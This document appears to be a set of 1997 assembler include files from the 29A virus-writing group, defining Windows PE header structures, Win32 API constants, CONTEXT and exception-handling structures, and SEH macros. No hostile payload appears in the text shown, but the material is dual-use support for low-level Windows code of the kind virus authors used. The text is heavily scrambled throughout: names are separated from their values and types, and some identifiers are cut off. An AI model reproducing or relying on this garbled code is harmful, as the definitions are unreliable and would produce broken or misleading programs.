Reserved Reserved Reserved. Used for 16-bit offset code Reserved. Used for 16-bit offset code Reserved Reserved Section contains code. Section contains initialized data. Section contains uninitialized data. Reserved. Section contains comments or some other

00000400h ; Reserved. Section contains an overlay. 00000400h ; Reserved. Section contains an overlay. 00000800h ; Section contents will not become part of 00001000h 00002000h 00004000h 00008000h 00010000h 00020000h 00020000h 00040000h 00080000h 00100000h 00200000h 00300000h 00400000h 00500000h 00600000h 00700000h 00800000h 01000000h 02000000h 04000000h 08000000h 10000000h 20000000h 40000000h 80000000h ; Section contents comdat. ; Reserved. ; Obsolete. ; Obsolete.

; Default alignment if no others are

; ; ; ; ; ; ; ; ;

Unused. Section Section Section Section Section Section Section Section

contains extended relocations. can be discarded. is not cachable. is not pageable. is shareable. is executable. is readable. is writeable.

IMAGE_SIZEOF_SHORT_NAME

EQU

8

; ÄÄ´ Section header format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_SECTION_HEADER SH_Name SH_PhysicalAddress SH_VirtualSize SH_VirtualAddress SH_SizeOfRawData SH_PointerToRawData SH_PointerToRelocations SH_PointerToLinenumbers SH_NumberOfRelocations SH_NumberOfLinenumbers SH_Characteristics IMAGE_SECTION_HEADER IMAGE_SIZEOF_SECTION_HEADER STRUC DB UNION DD DD ENDS DD DD DD DD DD DW DW DD ENDS EQU

IMAGE_SIZEOF_SHORT_NAME DUP (?) BYTE PTR ? ? BYTE ? BYTE BYTE BYTE ? ? ? PTR ? PTR ? PTR ? PTR ?

SIZE IMAGE_SECTION_HEADER

; ÄÄ´ OH_DataDirectory index valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_DIRECTORY_ENTRY_EXPORT IMAGE_DIRECTORY_ENTRY_IMPORT IMAGE_DIRECTORY_ENTRY_RESOURCE IMAGE_DIRECTORY_ENTRY_EXCEPTION IMAGE_DIRECTORY_ENTRY_SECURITY IMAGE_DIRECTORY_ENTRY_BASERELOC IMAGE_DIRECTORY_ENTRY_DEBUG IMAGE_DIRECTORY_ENTRY_COPYRIGHT IMAGE_DIRECTORY_ENTRY_GLOBALPTR IMAGE_DIRECTORY_ENTRY_TLS IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT IMAGE_DIRECTORY_ENTRY_IAT IMAGE_NUMBEROF_DIRECTORY_ENTRIES EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 0 1 2 3 4 5 6 7 8 9 10 11 12 16 ; ; ; ; ; ; ; ; ; ; ; ; ; Export Directory Import Directory Resource Directory Exception Directory Security Directory Base Relocation Table Debug Directory Description String Machine Value (MIPS GP) TLS Directory Load Configuration Directory Bound Import Directory in headers Import Address Table

; ÄÄ´ OH_DataDirectory format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_DATA_DIRECTORY DD_VirtualAddress DD_Size IMAGE_DATA_DIRECTORY IMAGE_DIRECTORY_ENTRIES DE_Export DE_Import DE_Resource DE_Exception DE_Security DE_BaseReloc DE_Debug DE_Copyright DE_GlobalPtr DE_TLS DE_LoadConfig DE_BoundImport DE_IAT IMAGE_DIRECTORY_ENTRIES STRUC DD BYTE PTR ? DD ? ENDS STRUC IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY ENDS

? ? ? ? ? ? ? ? ? ? ? ? ?

; ÄÄ´ OH_LoaderFlags valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;MAGE_LOADER_FLAGS_BREAK_ON_LOAD ;MAGE_LOADER_FLAGS_DEBUG_ON_LOAD EQU EQU 00000001h 00000002h

; ÄÄ´ OH_DllCharacteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;MAGE_LIBRARY_PROCESS_INIT ;MAGE_LIBRARY_PROCESS_TERM ;MAGE_LIBRARY_THREAD_INIT ;MAGE_LIBRARY_THREAD_TERM EQU EQU EQU EQU 1 2 4 8 ; ; ; ; Dll Dll Dll Dll has has has has a a a a process initialization routine thread termination routine thread initialization routine thread termination routine

; ÄÄ´ OH_Subsystem Valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_SUBSYSTEM_UNKNOWN IMAGE_SUBSYSTEM_NATIVE IMAGE_SUBSYSTEM_WINDOWS_GUI IMAGE_SUBSYSTEM_WINDOWS_CUI IMAGE_SUBSYSTEM_OS2_CUI IMAGE_SUBSYSTEM_POSIX_CUI EQU EQU EQU EQU EQU EQU 0 1 2 3 5 7 ; ; ; ; ; ; Unknown subsystem Image doesn't require a subsystem Image runs in the Windows GUI subsystem Image runs in the Windows character subsystem Image runs in the OS/2 character subsystem Image run in the Posix character subsystem

; ÄÄ´ OH_Magic value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_NT_OPTIONAL_HDR_MAGIC EQU 10Bh

; ÄÄ´ Optional header format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_OPTIONAL_HEADER ; Standard fields: OH_Magic OH_MajorLinkerVersion OH_MinorLinkerVersion OH_SizeOfCode OH_SizeOfInitializedData OH_SizeOfUninitializedData OH_AddressOfEntryPoint OH_BaseOfCode OH_BaseOfData ; NT additional fields: OH_ImageBase OH_SectionAlignment OH_FileAlignment OH_MajorOperatingSystemVersion OH_MinorOperatingSystemVersion OH_MajorImageVersion OH_MinorImageVersion OH_MajorSubsystemVersion OH_MinorSubsystemVersion OH_Reserved1 OH_SizeOfImage OH_SizeOfHeaders OH_CheckSum OH_Subsystem OH_DllCharacteristics OH_SizeOfStackReserve OH_SizeOfStackCommit OH_SizeOfHeapReserve OH_SizeOfHeapCommit OH_LoaderFlags OH_NumberOfRvaAndSizes OH_DataDirectory STRUC DW DB DB DD DD DD DD DD DD ? ? ? ? ? ? BYTE PTR ? BYTE PTR ? BYTE PTR ?

DD BYTE PTR ? DD ? DD ? DW ? DW ? DW ? DW ? DW ? DW ? DD ? DD ? DD ? DD ? DW ? DW ? DD ? DD ? DD ? DD ? DD ? DD ? UNION IMAGE_DATA_DIRECTORY

\

OH_DirectoryEntries IMAGE_OPTIONAL_HEADER IMAGE_SIZEOF_STD_OPTIONAL_HEADER IMAGE_SIZEOF_NT_OPTIONAL_HEADER

IMAGE_NUMBEROF_DIRECTORY_ENTRIES \ DUP (?) IMAGE_DIRECTORY_ENTRIES ? ENDS ENDS EQU EQU 28d SIZE IMAGE_OPTIONAL_HEADER

; ÄÄ´ FH_Characteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_FILE_RELOCS_STRIPPED IMAGE_FILE_EXECUTABLE_IMAGE references) IMAGE_FILE_LINE_NUMS_STRIPPED IMAGE_FILE_LOCAL_SYMS_STRIPPED ;MAGE_FILE_MINIMAL_OBJECT ;MAGE_FILE_UPDATE_OBJECT ;MAGE_FILE_16BIT_MACHINE IMAGE_FILE_BYTES_REVERSED_LO IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_DEBUG_STRIPPED ;MAGE_FILE_PATCH IMAGE_FILE_SYSTEM IMAGE_FILE_DLL IMAGE_FILE_BYTES_REVERSED_HI EQU 0001h ; Relocation info stripped from file EQU 0002h ; File is executable (i.e. no unresolved external EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 0004h 0008h 0010h 0020h 0040h 0080h 0100h 0200h 0400h 1000h 2000h 8000h ; ; ; ; ; ; ; ; ; ; ; ; Line numbers stripped from file Local symbols stripped from file Reserved Reserved 16 bit word machine Bytes of machine word are reversed 32 bit word machine Debugging info stripped from file in .DBG file Reserved System File File is a DLL Bytes of machine word are reversed

; ÄÄ´ FH_Machine valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_FILE_MACHINE_UNKNOWN IMAGE_FILE_MACHINE_I386 IMAGE_FILE_MACHINE_R3000 IMAGE_FILE_MACHINE_R4000 IMAGE_FILE_MACHINE_R10000 IMAGE_FILE_MACHINE_ALPHA IMAGE_FILE_MACHINE_POWERPC IMAGE_FILE_HEADER FH_Machine FH_NumberOfSections FH_TimeDateStamp FH_PointerToSymbolTable FH_NumberOfSymbols FH_SizeOfOptionalHeader FH_Characteristics IMAGE_FILE_HEADER IMAGE_SIZEOF_FILE_HEADER EQU EQU EQU EQU EQU EQU EQU STRUC DW DW DD DD DD DW DW ENDS EQU 0 14Ch 162h 166h 168h 184h 1F0h

; ; ; ; ; ;

Intel 386 MIPS L-endian, 0160h B-endian MIPS L-endian MIPS L-endian Alpha_AXP IBM PowerPC L-Endian

? ? ? BYTE PTR ? ? ? ?

SIZE IMAGE_FILE_HEADER

; ÄÄ´ NT_Signature value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_NT_SIGNATURE IMAGE_NT_HEADERS NT_Signature NT_FileHeader NT_OptionalHeader IMAGE_NT_HEADERS EQU 00004550h ; 'PE',0,0

STRUC DD IMAGE_FILE_HEADER IMAGE_OPTIONAL_HEADER ENDS

? ? ?

; - -[USEFUL.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; . .: .:.. :.. .. .:.::. :. ..: ; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

.:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] Basic useful structurez by Jacky Qwerty/29A Description ÄÄÄÄÄÄÄÄÄÄÄ This include file contains all basic constantz and general common structurez needed to work with other include and source ASM filez. This file will work only with TASM(32), of course. MASM sucks.. :P Disclaimer ÄÄÄÄÄÄÄÄÄÄ This file was built up by Jacky Qwerty from 29A. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. No rightz reserved. Use without permision >8P.

LF CR CRLF

equ equ equ

10 13 <13,10> struc

lo_hi_byte_word union struc lob hib ends lo_w dw ends hiw lo_hi_byte_word Pusha_struc Pusha_di Pusha_si Pusha_bp Pusha_sp Pusha_bx Pusha_dx Pusha_cx Pusha_ax Pusha_struc cPusha

db db ? dw ends

? ?

?

struc dw dw dw dw dw dw dw dw ends equ

? ? ? ? ? ? ? ?

size Pusha_struc struc dd dd dd dd dd dd dd dd ends

Pushad_struc Pushad_edi Pushad_esi Pushad_ebp Pushad_esp Pushad_ebx Pushad_edx Pushad_ecx Pushad_eax Pushad_struc

? ? ? ? ? ? ? ?

cPushad @copysz

equ

size Pushad_struc

macro local nxtchr: lodsb stosb or jnz

nxtchr

al,al nxtchr

endm @endsz macro local nxtchr: lodsb test jnz

nxtchr al,al nxtchr

endm @pushsz macro local ifnb %out .err endif call db msg2psh, empty next_instr <empty> too much arguments in macro '@pushsz'

next_instr msg2psh,0

next_instr: endm @pushbytes macro local ifnb %out .err endif call db bts2psh, empty next_instr <empty> too much arguments in macro '@push_bytes'

next_instr bts2psh

next_instr: endm if @WordSize eq 2 API_Args ; 16 bits

struc RetAddr dw ? union Pshd dw ? ;pushed Arg1 dw ? ends irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16> Arg&Num dw ? endm API_Args ends endif if @WordSize eq 4 API_Args struc RetAddr dd union Pshd dd Arg1 dd ends ; 32 bits

? ? ? ;pushed

irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16> Arg&Num dd ? endm API_Args ends endif ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; - -[WIN32API.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] Win32 API definitionz by Jacky Qwerty/29A Description ÄÄÄÄÄÄÄÄÄÄÄ This include file contains some of the constantz and structurez needed to work with typical Win32 API functionz from inside ASM filez. This file can work only with TASM(32), of course. MASM sucks.. :P Disclaimer ÄÄÄÄÄÄÄÄÄÄ This file was built up by Jacky Qwerty from 29A. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ Some global constantz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ NULL FALSE TRUE MAX_PATH INVALID_HANDLE_VALUE STANDARD_RIGHTS_REQUIRED EQU EQU EQU EQU EQU EQU 0 0 1 260 -1 000F0000h

; ÄÄ´ Desired access valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ GENERIC_READ GENERIC_WRITE EQU EQU 80000000h 40000000h

; ÄÄ´ Share mode valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FILE_SHARE_READ FILE_SHARE_WRITE EQU EQU 00000001h 00000002h

; ÄÄ´ Creation disposition valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CREATE_NEW CREATE_ALWAYS OPEN_EXISTING OPEN_ALWAYS TRUNCATE_EXISTING EQU EQU EQU EQU EQU 1 2 3 4 5

; ÄÄ´ File attributez and flag valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_DIRECTORY FILE_ATTRIBUTE_ARCHIVE FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_TEMPORARY FILE_ATTRIBUTE_ATOMIC_WRITE FILE_ATTRIBUTE_XACTION_WRITE FILE_ATTRIBUTE_COMPRESSED FILE_ATTRIBUTE_HAS_EMBEDDING FILE_FLAG_POSIX_SEMANTICS FILE_FLAG_BACKUP_SEMANTICS FILE_FLAG_DELETE_ON_CLOSE FILE_FLAG_SEQUENTIAL_SCAN FILE_FLAG_RANDOM_ACCESS FILE_FLAG_NO_BUFFERING FILE_FLAG_OVERLAPPED FILE_FLAG_WRITE_THROUGH EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00000001h 00000002h 00000004h 00000010h 00000020h 00000080h 00000100h 00000200h 00000400h 00000800h 00001000h 01000000h 02000000h 04000000h 08000000h 10000000h 20000000h 40000000h 80000000h

; ÄÄ´ Protection and other valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_MAP_EXECUTE SECTION_EXTEND_SIZE SECTION_ALL_ACCESS EQU EQU EQU EQU EQU EQU 00000001h 00000002h 00000004h 00000008h 00000010h STANDARD_RIGHTS_REQUIRED SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_MAP_EXECUTE SECTION_EXTEND_SIZE SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_ALL_ACCESS 00000001h 00000002h 00000004h 00000008h 00000010h 00000020h 00000040h 00000080h 00000100h 00000200h 00001000h 00002000h 00004000h 00008000h 00010000h 00020000h 00040000h 00100000h 00800000h 01000000h OR OR OR OR OR \ \ \ \ \

FILE_MAP_COPY FILE_MAP_WRITE FILE_MAP_READ FILE_MAP_ALL_ACCESS PAGE_NOACCESS PAGE_READONLY PAGE_READWRITE PAGE_WRITECOPY PAGE_EXECUTE PAGE_EXECUTE_READ PAGE_EXECUTE_READWRITE PAGE_EXECUTE_WRITECOPY PAGE_GUARD PAGE_NOCACHE MEM_COMMIT MEM_RESERVE MEM_DECOMMIT MEM_RELEASE MEM_FREE MEM_PRIVATE MEM_MAPPED MEM_TOP_DOWN SEC_FILE SEC_IMAGE

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

SEC_RESERVE SEC_COMMIT SEC_NOCACHE MEM_IMAGE

EQU EQU EQU EQU

04000000h 08000000h 10000000h SEC_IMAGE

; ÄÄ´ Code Page valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CP_ACP CP_OEMCP CP_MACCP EQU EQU EQU 0 1 2 ; ANSI code page ; OEM code page ; MAC code page

; ÄÄ´ Message Box suport valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MB_OK MB_OKCANCEL MB_ABORTRETRYIGNORE MB_YESNOCANCEL MB_YESNO MB_RETRYCANCEL MB_TYPEMASK MB_ICONHAND MB_ICONQUESTION MB_ICONEXCLAMATION MB_ICONASTERISK MB_ICONMASK MB_ICONINFORMATION MB_ICONSTOP MB_DEFBUTTON1 MB_DEFBUTTON2 MB_DEFBUTTON3 MB_DEFMASK MB_APPLMODAL MB_SYSTEMMODAL MB_TASKMODAL MB_NOFOCUS EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00000000h 00000001h 00000002h 00000003h 00000004h 00000005h 0000000Fh 00000010h 00000020h 00000030h 00000040h 000000F0h MB_ICONASTERISK MB_ICONHAND 00000000h 00000100h 00000200h 00000F00h 00000000h 00001000h 00002000h 00008000h

; ÄÄ´ Some general Win32 related structurez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FILETIME FT_dwLowDateTime FT_dwHighDateTime FILETIME WIN32_FIND_DATA WFD_dwFileAttributes WFD_ftCreationTime WFD_ftLastAccessTime WFD_ftLastWriteTime WFD_nFileSizeHigh WFD_nFileSizeLow WFD_dwReserved0 WFD_dwReserved1 WFD_szFileName WFD_szAlternateFileName WIN32_FIND_DATA SIZEOF_WIN32_FIND_DATA EQU STRUC DD ? DD ? ENDS STRUC DD ? FILETIME ? FILETIME ? FILETIME ? DD ? DD ? DD ? DD ? DB MAX_PATH DUP (?) DB 13 DUP (?) DB 3 DUP (?) ; dword padding ENDS SIZE WIN32_FIND_DATA

; ÄÄ´ Context related stuff (i386, i486) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; The following flagz control the contentz of the CONTEXT structure: CONTEXT_i386 CONTEXT_i486 EQU EQU 00010000h 00010000h EQU EQU EQU EQU EQU ; This assumes that i386 and i486 ; have identical context recordz. OR OR OR OR OR 01h) 02h) 04h) 08h) 10h) ; ; ; ; ; SS:SP, CS:IP, FLAGS, BP. AX, BX, CX, DX, SI, DI. DS, ES, FS, GS. 387 state DB 0-3,6,7

CONTEXT_CONTROL CONTEXT_INTEGER CONTEXT_SEGMENTS CONTEXT_FLOATING_POINT CONTEXT_DEBUG_REGISTERS CONTEXT_FULL

(CONTEXT_i386 (CONTEXT_i386 (CONTEXT_i386 (CONTEXT_i386 (CONTEXT_i386

EQU (CONTEXT_CONTROL OR CONTEXT_INTEGER OR \ CONTEXT_SEGMENTS)

; Size of the 80387 save area, which is in the context frame: SIZE_OF_80387_REGISTERS FLOATING_SAVE_AREA ControlWord StatusWord TagWord ErrorOffset ErrorSelector DataOffset DataSelector RegisterArea Cr0NpxState FLOATING_SAVE_AREA ; Context Frame: CONTEXT ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; STRUC EQU STRUC DD DD DD DD DD DD DD DB DD ENDS 80

? ? ? ? ? ? ? SIZE_OF_80387_REGISTERS DUP (?) ?

The flags valuez - within the ContextFlags field - control the contentz of the CONTEXT structure. If the context record is used as an input parameter, then for each portion of the context record controlled by a flag whose value is set, it is asumed that that portion of the context record contains valid context. If the context record is being used to modify a threadz context, then only that portion of the threadz context will be modified. If the context record is used as an IN OUT parameter to capture the context of a thread, then only those portionz of the thread's context corresponding to set flags will be returned. The context record is never used as an OUT only parameter. CONTEXT_ContextFlags DD ?

; This section is specified/returned if CONTEXT_DEBUG_REGISTERS is ; set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT ; included in CONTEXT_FULL: CONTEXT_Dr0 CONTEXT_Dr1 CONTEXT_Dr2 CONTEXT_Dr3 DD DD DD DD ? ? ? ?

CONTEXT_Dr6 CONTEXT_Dr7

DD DD

? ?

; This section is specified/returned if the ; ContextFlags word contains the flag CONTEXT_FLOATING_POINT: CONTEXT_FloatSave FLOATING_SAVE_AREA ?

; This section is specified/returned if the ; ContextFlags word contains the flag CONTEXT_SEGMENTS: CONTEXT_SegGs CONTEXT_SegFs CONTEXT_SegEs CONTEXT_SegDs DD DD DD DD ? ? ? ?

; This section is specified/returned if the ; ContextFlags word contains the flag CONTEXT_INTEGER: CONTEXT_Edi CONTEXT_Esi CONTEXT_Ebx CONTEXT_Edx CONTEXT_Ecx CONTEXT_Eax DD DD DD DD DD DD ? ? ? ? ? ?

; This section is specified/returned if the ; ContextFlags word contains the flag CONTEXT_CONTROL: CONTEXT_Ebp CONTEXT_Eip CONTEXT_SegCs CONTEXT_EFlags CONTEXT_Esp CONTEXT_SegSs CONTEXT DD DD DD DD DD DD ENDS ? ? ? ? ? ?

; MUST BE SANITIZED ; MUST BE SANITIZED

; ÄÄ´ Structured Exception Handling (SEH) related stuff ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This structure is the one pointed to by FS:[0]: EXCEPTIONREGISTRATIONRECORD STRUC ; != EXCEPTION_RECORD structure ERR_prev_structure DD EXCEPTIONREGISTRATIONRECORD PTR ? ERR_ExceptionHandler DD BYTE PTR ? ; CODE PTR ; These are the minimun fieldz required for proper OS operation ; Other undocumented fieldz exist for Microsoft and Borland compilerz EXCEPTIONREGISTRATIONRECORD ENDS ; Exception record definition: EXCEPTION_MAXIMUM_PARAMETERS EXCEPTION_RECORD ER_ExceptionCode ER_ExceptionFlags ER_ExceptionRecord ER_ExceptionAddress ER_NumberParameters ER_ExceptionInformation EXCEPTION_RECORD EXCEPTION_POINTERS EQU STRUC DD DD DD DD DD DD ENDS STRUC 15 ; max # of except paramz

? ? EXCEPTION_RECORD PTR ? BYTE PTR ? ; CODE PTR ? EXCEPTION_MAXIMUM_PARAMETERS DUP (?)

EP_ExceptionRecord EP_ContextRecord EXCEPTION_POINTERS

DD DD ENDS

EXCEPTION_RECORD PTR ? CONTEXT PTR ?

; Other SEH related constantz and return valuez: EXCEPTION_EXECUTE_HANDLER EXCEPTION_CONTINUE_SEARCH EXCEPTION_CONTINUE_EXECUTION EQU EQU EQU 1 0 -1 EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 0C0000005h 080000002h 080000003h 080000004h 0C000008Ch 0C000008Dh 0C000008Eh 0C000008Fh 0C0000090h 0C0000091h 0C0000092h 0C0000093h 0C0000094h 0C0000095h 0C0000096h 0C0000006h 0C000001Dh 0C0000025h 0C00000FDh 0C0000026h 080000001h

EXCEPTION_ACCESS_VIOLATION EXCEPTION_DATATYPE_MISALIGNMENT EXCEPTION_BREAKPOINT EXCEPTION_SINGLE_STEP EXCEPTION_ARRAY_BOUNDS_EXCEEDED EXCEPTION_FLT_DENORMAL_OPERAND EXCEPTION_FLT_DIVIDE_BY_ZERO EXCEPTION_FLT_INEXACT_RESULT EXCEPTION_FLT_INVALID_OPERATION EXCEPTION_FLT_OVERFLOW EXCEPTION_FLT_STACK_CHECK EXCEPTION_FLT_UNDERFLOW EXCEPTION_INT_DIVIDE_BY_ZERO EXCEPTION_INT_OVERFLOW EXCEPTION_PRIV_INSTRUCTION EXCEPTION_IN_PAGE_ERROR EXCEPTION_ILLEGAL_INSTRUCTION EXCEPTION_NONCONTINUABLE_EXCEPTION EXCEPTION_STACK_OVERFLOW EXCEPTION_INVALID_DISPOSITION EXCEPTION_GUARD_PAGE

; Useful structure to access the "Except_Handler" function argumentz: Except_Handler EH_Dummy EH_ExceptionRecord EH_EstablisherFrame EH_ContextRecord EH_DispatcherContext Except_Handler ; ; ; ; ; ; ; STRUC DD DD DD DD DD ENDS

? ; Ret address EXCEPTION_RECORD PTR ? BYTE PTR ? CONTEXT PTR ? BYTE PTR ?

The following macroz "@SEH_SetupFrame" and "@SEH_RemoveFrame" are limited assembler versionz of the _try and _except keywordz used in C language. They provide fast and powerful "Structured Exception Handling" support for Win32 applicationz in a few linez of code. Though Microsoft seems intent on hiding the details of OS-level structured exception handling, this code relies on documented featurez of the Win32 API implementation and as such it works in both Windoze 95 and Windoze NT.

@SEH_SetupFrame macro ExceptionHandler local set_new_eh call set_new_eh mov esp,[esp.EH_EstablisherFrame] ExceptionHandler set_new_eh: xor edx,edx ; Setup new SEH frame push dword ptr fs:[edx] mov fs:[edx],esp endm ; The ExceptionHandler argument in the @SEH_SetupFrame macro definition ; can be a single instruction or another macro containing several of them.

@SEH_RemoveFrame macro xor pop pop endm

edx,edx ; Remove new SEH frame and set old dword ptr fs:[edx] edx

comment # // Exception disposition return values. typedef enum _EXCEPTION_DISPOSITION { ExceptionContinueExecution, ExceptionContinueSearch, ExceptionNestedException, ExceptionCollidedUnwind } EXCEPTION_DISPOSITION; EXCEPTION_DISPOSITION __cdecl _except_handler ( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext ); # ; ÄÄ´ Some Win32 function prototypez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ comment * HANDLE CreateFileA (ptr) lpFileName dwDesiredAccess dwShareMode (ptr) lpSecurityAttributes dwCreationDisposition dwFlagsAndAttributes (hnd) hTemplateFile

; ; ; ; ; ; ;

ptr to name of file access (read-write) mode share mode ptr to SECURITY_ATTRIBUTES struc how to create file and flag attributez handle to file with attributez to copy

